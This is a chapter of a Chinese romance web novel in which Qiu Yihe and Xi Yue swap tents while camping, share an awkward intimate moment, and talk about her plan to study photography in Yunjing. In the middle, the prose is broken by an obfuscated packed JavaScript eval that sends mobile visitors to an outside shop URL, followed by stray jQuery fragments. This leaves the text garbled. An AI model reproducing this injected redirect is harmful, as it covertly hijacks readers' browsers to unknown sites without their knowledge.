邱意禾没吃那个橘子。
刚才陪阮枝枝去完洗手间,她口渴就直接给她了。
可这会莫名不想说实话。
她轻轻点头,语气很稀松平常:“好吃,很甜。”
“多甜?”席樾追问。
邱意禾睨他一眼:“怎么,你想吃?”
“要不我去帮你要一个?”
席樾突然扯起嘴角笑。
邱意禾觉得他莫名其妙。
安静几秒,他打破沉默:“那天工作室有点急事催我回去。”
邱意禾拿着串翻面的时候停住一秒,没想到他会突然提起。
的确是,因为顾漾临时要去趟云京,所以火急火燎地催他回去。
其次是,席樾觉得这没什么好说的,毕竟没有熟悉到处处需要报备的地步。
邱意禾眼睛眨巴几下,掩盖住不自然的情绪:“谁问了…”
“嗯,我自言自语。”
“……”
邱意禾喜欢一次性把自己吃的量烤完,因为她觉得来回又吃又烤的很麻烦。
刚把手头烤熟的串放在盘子上,隔壁就递来几串。
她瞅了眼。
不要白不要。
仅犹豫一秒就接过,放在了盘里。
下一秒又听见他问:“跟你商量件事?”
邱意禾接:“什么事。”
他语气平平:“咱俩换个帐篷睡?”
“为什么?”她反问。
“太大了,我没安全感。”
邱意禾:?
“啊?”
不是你自己要租这么大的吗?
租的时候怎么不想想安不安全感的。
席樾话接得很快,坦言:“我看你那个大小不错,咱俩换换。”
仿佛这事已经定下来了。
邱意禾干笑两声。
嫌我的小就直说。
真当她听不懂这拐弯抹角的话呢。
“那你可以再租个小的。”
反正你钱多。
席樾下巴往租帐篷的那个方向挑了下:“人下班儿了,没看见?”
邱意禾瘪瘪嘴。她是心动的,虽然她跟阮枝枝两个人睡那个帐篷也能伸得开腿,但是有更好的谁会拒绝?
谁拒绝谁是大傻子。
她可太会对自己好点了。
“行。”她爽快答应。
席樾“嗯”了声,“你要是害怕,可以让你朋友一块。”
邱意禾语气比刚才扬了点:“那肯定,她得跟着我。”
......
烤好上桌吃着,邱意禾也喝了罐啤酒,但她觉得啤酒不好喝,也就配烧烤的时候喝点。
她还是更喜欢果酒和自调酒。
几个人在打扑克,她没兴趣加入,无聊地刷起手机。
阮枝枝酒量不行,属于那种人菜瘾大,打了几轮牌连一罐啤酒都没喝完就有点微醺了。
邱意禾只好接她的位置替她玩。
一玩就是一个多小时。
晚上九点,扎营区基本开始纷纷休息,他们一行人也独自回到各自帐篷。
邱意禾特地留下来收拾,等他们都回了帐篷才跟席樾交换。
她不想解释那么多,也觉得没必要解释。
阮枝枝已经困得不行,邱意禾把她扶进去时她倒头就睡了。
不得不说席樾这个帐篷真的很大,里面居然还能放得下一张气垫床。
虽然不大,但也足够她和阮枝枝睡了。
她有点庆幸晚上不用睡“硬板子”,那个午觉给她睡的腰酸背痛的。
简单的把彼此的东西交换后,邱意禾从帐篷里退出来。
“谢谢。”她看着席樾。
席樾插兜:“谢什么,是我要跟你换的。”
“哦。”
“早点休息。”席樾刚要转身回去,被喊住。
“等会儿。”
邱意禾喊完转身折回帐篷里,出来时手里拿着一小罐青草膏。
她递给对面的人:“这个给你。刚才看你脖子被蚊子咬了,这山里蚊虫多。”
席樾没用过这东西,挑起眉:“这玩意有用?”
他是觉得脖子有一处痒来着。
邱意禾点点头。
“在哪,我看不见。”
席樾指他的蚊子包。
邱意禾撩开头发,在自己脖侧指了指。
他视线落过去,又问:“有镜子么?或者你帮我擦一下?”
“没带。”她说。
席樾侧过身,把脖子被咬那处示意过去。
意图明显。
帐篷外挂着盏小夜灯,但也仅仅只有提醒作用,不是特别亮。
邱意禾站在灯下,席樾离她有点距离,看不清具体在哪一处。
她捏了捏指尖:“你走近点,我看不见。”
席樾往前迈了两步,彼此距离瞬间缩短。
“可以了。”
邱意禾拧开药膏,又说:“没棉签,我就直接用手了,行吗?”
“嗯。”
得到答复后,她指腹沾了点,往席樾脖子发红处抹去。
身体控制不住往前探。
轻微的呼吸拂过他脖间。
邱意禾头顶的碎发有几根扫到席樾下巴,弄得他痒。
他微微低头侧眼,发现邱意禾的瞳孔不算是棕黑色,带点琥珀的感觉。
面中还有颗又小又浅的痣,一旦拉开一点距离就看不见的程度。
“还不高兴?”
低沉又带点磁性的声音传进邱意禾耳朵。
她手指顿了一下:“怎么又问,没有不高兴。”
“都有大帐篷睡了,还有床,我哪那么不知足。”
席樾笑笑,入神时,她直起身拉开距离。
“好了,可能会有点凉,你别抓。”
“好。”
邱意禾低头拧好盖子,“那,晚安。”
说完她立刻钻进帐篷。
刚才离得那么近她心脏都快跳冒烟了。
紧张感就像踩到底的油门。
席樾转身回去时轻笑两声。
觉得邱意禾就是一只不经吓也不经逗的傲娇小猫。
-
昨晚邱意禾不记得自己是几点睡的,只知道躺了很久,最后一次看时间是凌晨两点多。
但有一点她可以确定,是席樾扰乱的。
身旁的阮枝枝睡醒还以为在做梦,毕竟睁开眼看见的不是自己的帐篷。
她只好胡乱解释:“你昨晚闹着非要睡这个,怎么都撵不走,还拉着我一起。”
阮枝枝抓抓脑袋:“是吗...?”
邱意禾露出让她信服的表情:“当然了,人家好心,就跟我们换了。”
她眯起眼睛歪嘴笑:“是人家好心还是看在你的面子啊...”
邱意禾推开她的脸,坐起:“你以后还是不要碰酒了,发酒疯丢的是我的人。”
“不至于吧,我才喝了一罐吗不是,咋就醉了?”阮枝枝不解。
她叹气解释:“他带的那种度数高,跟你以前喝的小麦果汁不一样。”
阮枝枝拍拍脑袋:“怪不得...”
此时帐篷外传来声音:“姐姐,阮姐,你俩醒了吗?”
“刚醒,刚醒。”阮枝枝应道。
叶青阳笑笑:“我刚才去那个帐篷找你们都没找到,你俩怎么睡这个来了?”
阮枝枝立刻爬起来穿好衣服,走到帐篷外。
跟他解释:“估计是我昨晚喝多了,席樾人好心让给我俩的。”
她挑起下巴问靠在树干上的人:“是吧?”
席樾瞟过来一眼又收回,毫不在意“嗯”了声。
叶青阳倒是没怀疑:“这样啊,怪不得。”他又冲帐篷里喊话,“姐姐你起来了吗,修铭哥说等你起了咱就回去了。”
帐篷内,邱意禾将他们的对话听得一清二楚。
她抓了抓头发,应:“起了,马上。”
席樾眼尾扫了下叶青阳,又移开。
瞎殷勤。
邱意禾把东西都收拾好后打算出去把原来那个帐篷收了。
背着包出来时,发现已经被人收好了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638111|205959||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她淡淡看了眼席樾。
面对他,总有点尴尬和不知所措。
尤其是昨天帮他涂药的时候,席樾看得她后背直发烫。
邱意禾捏了捏帮他上过药的指尖,脑子里似乎有个线团,千思万绪。
越想理清,越是乱得厉害。
今天的天气没有昨天那么阴沉,甚至还出了太阳。
昨天上山的路也早就被晒干,下山容易多了。
邱意禾收好东西后直接一马当先,拉着阮枝枝一块先下山,谁也没等。
“嘿,这歇了一晚就是不一样啊,劲头十足啊。”孟修铭盯着她下山的背影调侃。
邱意禾脑子太乱了,对自己,对席樾。
她只想赶紧回去,把自己锁在房间里闷个一天一夜。
叶青阳很快跟上,毕竟来的时候可是他们三个人一辆车的。
下了山,邱意禾迅速利落把带来的行李放好,等孟修铭他们下来。
她降下车窗手臂随意搭着,鼻梁上挂着副墨镜,跟阮枝枝那俩有说有笑的。
回去路上,邱意禾在左车镜里一直看见席樾那辆车咬在身后。
游玩结束自然是各回各家,她先把叶青阳送回学校,然后再送阮枝枝。
最后她打算去洗个车,然后再回家。
邱意禾没那么讲究,在家附近就有一个洗车行,她充了卡,基本都在这洗。
把车停好后,发现席樾也停了车,正倚在车门看她。
她觉得好笑,走近问:“你是有事跟我说?跟一路了。”
席樾似乎终于等到能跟她说话的机会,直言不讳:“你躲我?”
邱意禾奇怪:“哪里?”
“那你溜那么快。”
“我腿长。”
席樾无奈轻笑了一声,两人有一搭没一搭聊着。
邱意禾灌下一口矿泉水,随意说:“你是没事做吧?不用盯着工作室那边?”
“晚点回去。”他说。
“哦。”
果然还是要回去的。
下一秒他又问:“你呢,想好要做什么了吗?”
邱意禾侧头看他一眼,又缓慢挪开。
最后慢慢点了两下头。
“那个纪录片发出去后,后台有不少人找我约拍,嗯...也去试着拍了几组。以前我只拍景,没拍过人,但意外发现还不错,反馈也比较好。”
“但我目前来说只能算业余,不够专业。我要真的想干这个,就得去系统的学习学习。”
“所以,我打算再考一次,不为任何人,就为我自己,只学我自己想学的。”
她想过了,光靠这点三脚猫功夫是在这个行业里走不远的。
有天赋的人太多了,有天赋且努力的人更多,她并不觉得自己是独特的那个,也不觉得自己是被老天眷顾的那个。
一直以来,她都不觉得自己有什么好运气。
“想考哪?”
邱意禾眼眸闪了闪,鼓了下腮。
“我...我想去云京看看。”
席樾眉心抽了一下。
她抿抿嘴角:“云京有几所大学的摄影类专业还不错,我想试试。”
……
顾漾在云京那边临时要用个文件,这会打电话让席樾找出来发给他。
“我没在,你让别人给你找。”
席樾正回着工作室的路上。
顾漾从馆里走到外面长廊,方便沟通:“没在?又去哪了?”
“苏棠。”席樾轻描淡写。
顾漾嗓门一下拔高:“又去苏棠?!”
“嗯,工作啊。”
“你放狗屁吧!”
“你爱信不信。”
顾漾叹气,叉着腰来回踱步:“要我说,咱干脆也搬到苏棠得了,省得你来回跑,多费油。”
席樾打着左转灯转弯,语气听不出起伏:“行啊,你去沟通,我没意见。”
“你就浪吧,我等着你摔跟头那天。”
顾漾不等他回话就把电话挂了。
席樾轻嗤一声,谁摔跟头?
他会摔跟头?